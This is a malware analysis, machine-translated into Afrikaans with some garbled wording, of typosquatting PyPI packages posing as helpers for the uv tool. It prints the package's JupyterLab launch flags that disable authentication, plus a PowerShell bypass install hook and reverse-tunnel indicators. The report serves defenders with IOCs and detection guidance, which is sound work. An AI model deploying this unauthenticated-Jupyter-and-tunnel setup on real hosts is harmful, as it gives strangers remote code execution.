TL; DR
'n Groep PyPI-pakkette het die naam geleen van uv, die vinnige, uiters gewilde Rust-gebaseerde Python-pakketbestuurder, om voor te gee dat hulle UV-helpers is. Hulle verskaf amper geen werklike funksionaliteit nie. Wat hulle eerder dra, is 'n Windows-vrag wat 'n ... kan ondersteun. JupyterLab-bediener met verifikasie afgeskakel en, in latere weergawes, publiseer dit dit aan die publieke internet deur 'n omgekeerde tonnel.
Dis die hele storie in een reël: 'n vertroude instrument se naam as die lokmiddel, en JupyterLab as die afstand-kode-uitvoeringsenjin. 'n Jupyter-bediener voer enige kode uit wat jy in 'n nie-bediener tik.ebook sel; een wat met 'n leë teken gelanseer word en aan elke netwerkkoppelvlak gekoppel is, is 'n oop interpreteerder wat enigiemand wat die poort kan bereik, kan bestuur.
Ons volg die groep as FauxUVDie twee pakkette wat ondersoek is, is moon-uv (0.0.1-0.0.16) en my-magic-uv-helper (0.0.1), gepubliseer deur dieselfde operateur en beskikbaar op PyPI ten tyde van die analise.
| ekosisteem | PyPI |
| Pakkette | moon-uv (0.0.1-0.0.16), my-magic-uv-helper (0.0.1) |
| Platformgeteiken | Windows |
| Kerngedrag | Ongeverifieerde JupyterLab-bediener, gepubliseer na die internet via 'n omgekeerde tonnel |
| Wettige gereedskap misbruik | uv, JupyterLab, wolkopvlam, Pinggy |
Die lokmiddel: 'n naam wat jy reeds vertrou
uv is een van die mees geïnstalleerde Python-gereedskap van die afgelope twee jaar, so "'n helper vir uv"is 'n pakket wat 'n ontwikkelaar sonder 'n tweede gedagte installeer. FauxUV spandeer sy geloofwaardigheid geheel en al op daardie naam. Die pakkette draai die ware uv installeerder van Astral — die URL's in die vrag wys na regte, betroubare gashere — so 'n vinnige kyk sien niks anders as betroubare verwysings nie. Geen van die pakkette voeg eintlik by nie uv funksionaliteit; die naam is die hele vermomming.
JupyterLab as die RCE-enjin
Die middelpunt van die vrag is 'n lanseerder wat JupyterLab begin met elke reling wat verwyder word:
jupyter server --with jupyterlab --ip=0.0.0.0 # listen on every interface --ServerApp.token="" # no password, no token --allow_origin='*' # accept cross-origin connections --disable_check_xsrf # allow a remote browser/WebSocket to drive it Elke vlag verwyder 'n beskerming, en die verskeepte skrif annoteer hulle selfs (in die oorspronklike Chinees): die leë teken "Skakel wagwoord- en tekenkontroles af — enigiemand kan koppel." jupyter laboratorium is 'n wettige datawetenskap-IDE, maar nie 'nebook sel voer arbitrêre kode volgens ontwerp uit. Op hierdie manier gekonfigureer en gebind aan 0.0.0.0, dit hou op om 'n IDE te wees en word 'n ongeverifieerde afgeleë dop op die gasheer — geen persoonlike wanware-binêre sagteware word benodig nie, net 'n hoofstroom-instrument wat in die verkeerde rigting wys.
Twee ondersteunende stukke maak dit bereikbaar en herhaalbaar:
- 'n Stille installasie-sneller. Vroeë weergawes gebruik PowerShell met -ExecutionPolicy Bypass reguit van setup.py on pip installeer, in die agtergrond met foute onderdruk sodat pit lyk normaal. Latere weergawes skuif dieselfde primitiewe in 'n pip-uv opdragreël-instrument — en laat die outomatiese uitvoering tydens installasie heeltemal los.
- 'n Openbare omgekeerde tonnel. 'n Bediener aan 0.0.0.0 is steeds slegs bereikbaar deur gashere wat na die masjien kan roeteer. 'n Gebundelde module maak 'n [Pinggy]( oophttps://pinggy.io/) SSH-omgekeerde tonnel wat die plaaslike Jupyter-poort na 'n publieke adres aanstuur, wat daardie beperking verwyder. Die gestuurde skrip dra ook - uitgekommenteer - 'n alternatiewe pad met behulp van Cloudflare se wolkopvlam en 'n netsh poort-proxy na 'n Linode IP, wat dieselfde doelwit deur verskillende infrastruktuur dokumenteer.
Saamgestel: installeer die pakket, en 'n Windows-gasheer laat uiteindelik 'n wagwoordlose JupyterLab loop en dit op die oop internet publiseer.
Hoe FauxUV ontwikkel het
FauxUV se weergawes is vinnig agtereenvolgens gestuur, en die vrag se snellerpunt het oor hulle beweeg – 'n herinnering dat een gemerkte weergawe selde die hele storie van 'n pakketlyn vertel.
| Stadium | weergawes | sneller | Wat dit byvoeg |
|---|---|---|---|
| Installeer-haak | moon-uv 0.0.1-0.0.3, my-magic-uv-helper 0.0.1 | setup.py op pip-installasie | uv installasie + PATH voorafgaan |
| CLI-looptyd | moon-uv 0.0.5-0.0.13 | pip-uv opdrag | die wagwoordlose JupyterLab-lanseerder |
| Tunnel | moon-uv 0.0.14-0.0.16 | pip-uv opdrag | 'n aktiewe Pinggy-omgekeerde tonnel |
Dit is opmerklik dat die outomatiese uitvoering tydens installasie was verwyder in die latere, meer bekwame weergawes — so 'n skandeerder het slegs op lewensiklus getoets hooks sou die nuwer vrystellings as volg gradeer minder riskant, presies agterstevoor.
Aanwysers van kompromie
Bevestig deur die pakketbron te lees; eindpunte gemerk kommentaar is teenwoordig in die lêers, maar word nie deur die geanaliseerde weergawe uitgevoer nie. Netwerkaanwysers is gedeïnstalleer.
| Tipe | Indicator |
|---|---|
| Installeer opdrag | powershell -ExecutionPolicy Bypass haal die egte uv-installeerder op tydens pip-installasietyd |
| JupyterLab-vlae | --ip=0.0.0.0 --ServerApp.token="" --allow_origin='*' --disable_check_xsrf |
| Omgekeerde tonnel (aktief) | free[.]pinggy[.]io:443 aanstuur plaaslike 127.0.0.1:8888 |
| Tonnelgasheer (gekommentaar) | cloudflared tunnel --url hxxp://127[.]0[.]0[.]1:2718 |
| IP (gekommentaar) | 45[.]79[.]134[.]161 (Linode) via netsh port-proxy |
| Volharding | voorafgaan %USERPROFILE%\.local\bin na die gebruiker PATH |
Gedragsseine waarop die moeite werd is om op te let, onafhanklik van hierdie presiese stringe: a pip installeer wat voortspruit powershell - Uitvoeringsbeleid Omseilenige jupyter begin kombinering teken = "" met –ip=0.0.0.0; en uitgaande SSH na *.pinggy.io vanaf 'n ontwikkelaar of CI-masjien.
Waargenome gedrag en herkoms
Die twee pakkette deel 'n outeur en 'n metode: 'n vertroude instrument se naam, slegs-Windows-poorte, foutonderdrukte agtergronduitvoering, en afhanklikheid van betroubare instrumente, so 'n vinnige kyk sien slegs betroubare URL's. Die bron bevat kommentaar in Chinese tale wat die sekuriteitsrelevante vlae duidelik beskryf; ons rapporteer dit as waarneembare stellings in die lêer, nie as 'n bewering oor motief nie. Die laat_oorsprong_toe waarde en a colab.bat lêernaam weerspieël die informele "deel my plaaslike looptyd"-werkvloeie wat vir Google Colab sirkuleer. Wat ook al die oorsprong is, die verpakte resultaat is dieselfde.
Impak en leiding vir verdedigers
Wie word blootgestel aan FauxUV. Windows-ontwikkelaars en CI-hardlopers wat pip installeer een van hierdie pakkette. 'n Wagwoordlose JupyterLab op 0.0.0.0 is afgeleë kode-uitvoering vir enigiemand wat die poort kan bereik; die tonnel verwyder die limiet van "wie dit kan bereik". Die bediener loop as die installerende gebruiker en erf daardie gebruiker se lêers, tokens en wolkbewyse.
Hoekom dit maklik is om te mis. Elke netwerkstring wys na 'n betroubare gasheer — Astral, JupyterLab, wolkopvlam, Pinggy, Colab. Daar is geen wanware-binêre om te hash en geen verduisterde blob om te dekodeer nie. Reputasie- en handtekeninggebaseerde skandering onderskat dit albei, en daarom is die gedragsvraag — Wat doen die installering van hierdie pakket op die masjien? — is die een wat dit vang.
leiding:
- Behandel enige installasietyd powershell - Uitvoeringsbeleid Omseil as 'n bou-onderbrekende sein, watter URL dit ook al haal.
- Alert op jupyter gelanseer met 'n leë teken en –ip=0.0.0.0; daardie kombinasie moet nooit op 'n werkstasie of runner verskyn nie.
- Monitor vir uitgaande SSH na tonnelverskaffers (*.pinggy.io, *.trycloudflare.com) van ontwikkelaar- en CI-omgewings.
- installeer uv van [sy amptelike bron](https://docs.astral.sh/uv/) en wees skepties oor derdeparty-"helper"-pakkette wat 'n instrument toedraai wat reeds triviaal is om te installeer.
- Speld afhanklikhede vas en hersien dit met opgradering — 'n pakketreël kan nuwe vermoëns weergawe-oor-weergawe laat groei.



